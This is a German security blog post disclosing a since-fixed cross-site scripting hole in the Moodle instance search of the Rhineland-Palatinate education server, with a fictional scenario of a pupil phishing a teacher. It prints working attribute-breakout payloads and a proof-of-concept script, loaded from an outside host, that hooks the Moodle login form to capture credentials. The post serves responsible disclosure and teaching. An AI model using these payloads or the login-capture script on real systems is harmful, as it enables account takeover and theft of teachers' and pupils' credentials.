bildung-rp.de: 904 Moodle-Instanzen waren per Cross-Site-Scripting angreifbar

Die Lernplattformen auf dem Bildungsserver Rheinland-Pfalz waren bis zum 21.09.2020 von einer simplen Cross-Site-Scripting-Sicherheitslücke betroffen. Durch das Aufrufen von manipulierten Links konnten Benutzerdaten abgegriffen werden sowie Aktionen im Namen des eingeloggten Nutzers ausgeführt werden. Inzwischen hat das Pädagogische Landesinstitut Rheinland-Pfalz reagiert und die Lücke beseitigt.

Auf dem Bildungsserver Rheinland-Pfalz werden Dienstleistungen für Schulen bereitgestellt. Dies umfasst unter anderem das Hosting des beliebten Kursmanagementsystems Moodle. Alle Schulen in Rheinland-Pfalz können kostenfrei dieses Angebot in Anspruch nehmen. Momentan werden ca. 900 Schulen unter lms.bildung-rp.de gehostet. Eine Liste aller Moodle-Instanzen findet man hier. Und genau dort lag auch das Problem.

Suchfunktion erlaubte XSS

Unter https://lms.bildung-rp.de/useradministration/instanzen.php können Moodle-Instanzen anhand des Namens gesucht werden. Beim Absenden des Suchbegriffs wird eine POST-Anfrage ausgeführt, welche den Suchbegriff in die Session schreibt. Dadurch wird die Textbox zur Suche automatisch mit dem zuletzt übermittelten Suchbegriff befüllt. Leider wurde bei der Generierung des HTML-Codes keine geeignete Kodierung des Suchbegriffs durchgeführt, wodurch ein Ausbruch aus dem value Attribut des <input> Tags möglich war.

Die Betonung liegt hier allerdings bei keine geeignete Kodierung, denn der Suchbegriff wurde vermutlich mit htmlspecialchars() kodiert, was ja eigentlich safe sein sollte. Das hier ist ein gutes Beispiel, warum die PHP-Funktionen htmlspecialchars() und htmlentities() nicht immer vor XSS schützen.

Auf’s „Anführungszeichen“ kommts an

Bei der Verwendung von Input-Feldern verwenden wohl die meisten folgende Struktur:

<input type="text" value="wert">

Angenommen man wollte nun aus dem value Attribut ausbrechen, dann wäre die Verwendung eines doppelten Anführungszeichen (") nötig. Die PHP-Funktion htmlspecialchars() wandelt jedoch doppelte Anführungszeichen in &quot; um, wodurch ein Ausbruch nicht möglich ist.

Im Fall von bildung-rp wurde hingegen folgende HTML-Struktur verwendet:

<input type='text' value='wert'>

Wie man sehen kann, werden hier einfache Anführungszeichen (') verwendet, welche von der Funktion htmlspecialchars() nicht kodiert werden und somit ein Ausbruch aus der Zeichenkette möglich ist.

Folglich kommt es zur Ausführung von JavaScript, wenn man folgende Eingabe in die Textbox tätigt:

' onmouseover='alert(document.domain)

Und was erlaubte diese XSS Lücke?

Unter lms.bildung-rp.de werden alle Moodle-Instanzen betrieben. Durch die Ausführung von JavaScript unter dieser Domain, können bspw. Benutzerdaten des eingeloggten Benutzers ausgelesen werden. Es war lediglich der Besuch einer präparierten Webseite bzw. das Anklicken eines manipulierten Links notwendig.

Proof of Concept

Herr Meyer (fiktiver Charakter) ist Mathelehrer an der Goethe-Realschule in Koblenz. Der Schüler Kevin (ebenfalls fiktiver Charakter) ist nicht so erfreut darüber, dass für morgen ein spontaner Mathetest angekündigt wurde. Also möchte Kevin diesen Test im Namen seines Lehrers absagen. Dafür benötigt er aber eine gültige Session oder die Zugangsdaten seines Lehrers.

Er entscheidet sich die Logindaten durch die Manipulation des Login-Dialogs abzufangen. Dafür muss Herr Meyer einen präparierten Link anklicken und sich dann in Moodle anmelden. Da Herr Meyer eh noch die Abgabe eines Beitrags im Mathekurs erwartet, entscheidet sich Kevin den präparierten Link in Form eines Kurs-Beitrags per E-Mail zu versenden.

Nun ist es jedoch so, dass zum Ausnutzen der XSS-Lücke die Eingabe eines Suchbegriffs nötig ist. Kevin hat jedoch im Informatikkurs gelernt, dass derartige Informationen fast immer per POST-Anfrage übermittelt werden. Kurzerhand bastelt er sich eine kleine Webseite, die das Absenden des Suchbegriffs samt einer Payload vollautomatisch durchführt.

Im PortSwigger Cross-site scripting (XSS) Cheat Sheet findet er dann auch noch eine XSS-Payload, welche ohne ein mouseover funktioniert und die Payload ohne Nutzerinteraktion ausführt.

' autofocus onfocus='alert(0)

Zudem verwendet er die jQuery-Funktion $.getScript() um eine JavaScript-Datei nachzuladen und die JavaScript-Funktion String.fromCharCode() um die URL zur JavaScript-Datei //zerody.one/stuff/pocs/bildung-rp-poc.js ohne Anführungszeichen darstellen zu können.

Daraus wird folgender HTML-Code:

Sobald die JavaScript-Datei geladen wurde, kommt es zur Ausführung folgender Befehle:

document.open();
document.write("");

// Login-URL der Goethe-Schule
var loginUrl = "/goethegts/login/index.php";

history.replaceState(null, null, loginUrl);

$.get(loginUrl, function(html) {
  document.write(html);
  document.close("");
  setTimeout(function() { 
    $("#login").submit(function(event) {
      event.preventDefault(); 
      alert("Ihre Logindaten wurden soeben gestohlen! ;)\n\nBenutzername: " + $("#username").val() + "\nPasswort: " + $("#password").val()); 
    }) 
  }, 500);
});

Dabei wird der original Login-Screen der Moodle-Instanz geladen und die Form zum Absenden der Logindaten um einen Event-Handler ergänzt, welcher in diesem Fall nur die Logindaten abfängt und in einem alert() ausgibt.

Nun sendet Kevin den Link von seiner Webseite an Herr Meyer. Den Linktext ändert Kevin zu https://lms.bildung-rp.de/goethegts/course/view.php?id=4 – das wäre sein Mathe-Kurs.

Herr Meyer empfängt voller Vorfreude die Mail von Kevin:

Wie man sehen kann, ist der Phishing-Versuch nur schwer zu erkennen. Die Domain ist vertrauenswürdig und sogar der Browser trägt die gespeicherten Logindaten in die dafür vorgesehenen Felder ein. Prinzipiell müsste Herr Meyer nicht mal auf „Login“ klicken, denn die Logindaten lassen sich bereits im Moment der Ausfüllung auslesen.

Timeline

20.09.2020: Meldung der Lücke an das Pädagogisches Landesinstitut Rheinland-Pfalz.
21.09.2020: Lücke wird geschlossen.

Der Fix

Eigentlich müsste die Verwendung des Flags ENT_QUOTES für die Funktion htmlspecialchars() reichen. Ein einfaches Anführungszeichen würde dann in &#039; umgewandelt werden, was auch darstellungstechnisch korrekt wäre.

Frei nach dem Motto „Doppelt hält besser“ durchläuft der String nun scheinbar mehrmals eine Encoding-Funktion. Denn aus ' wird nun &amp;#39;, was in der Darstellung leichte Probleme mit sich bringt.

Aber Hauptsache die Sicherheitslücke wurde behoben! 🙂

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert.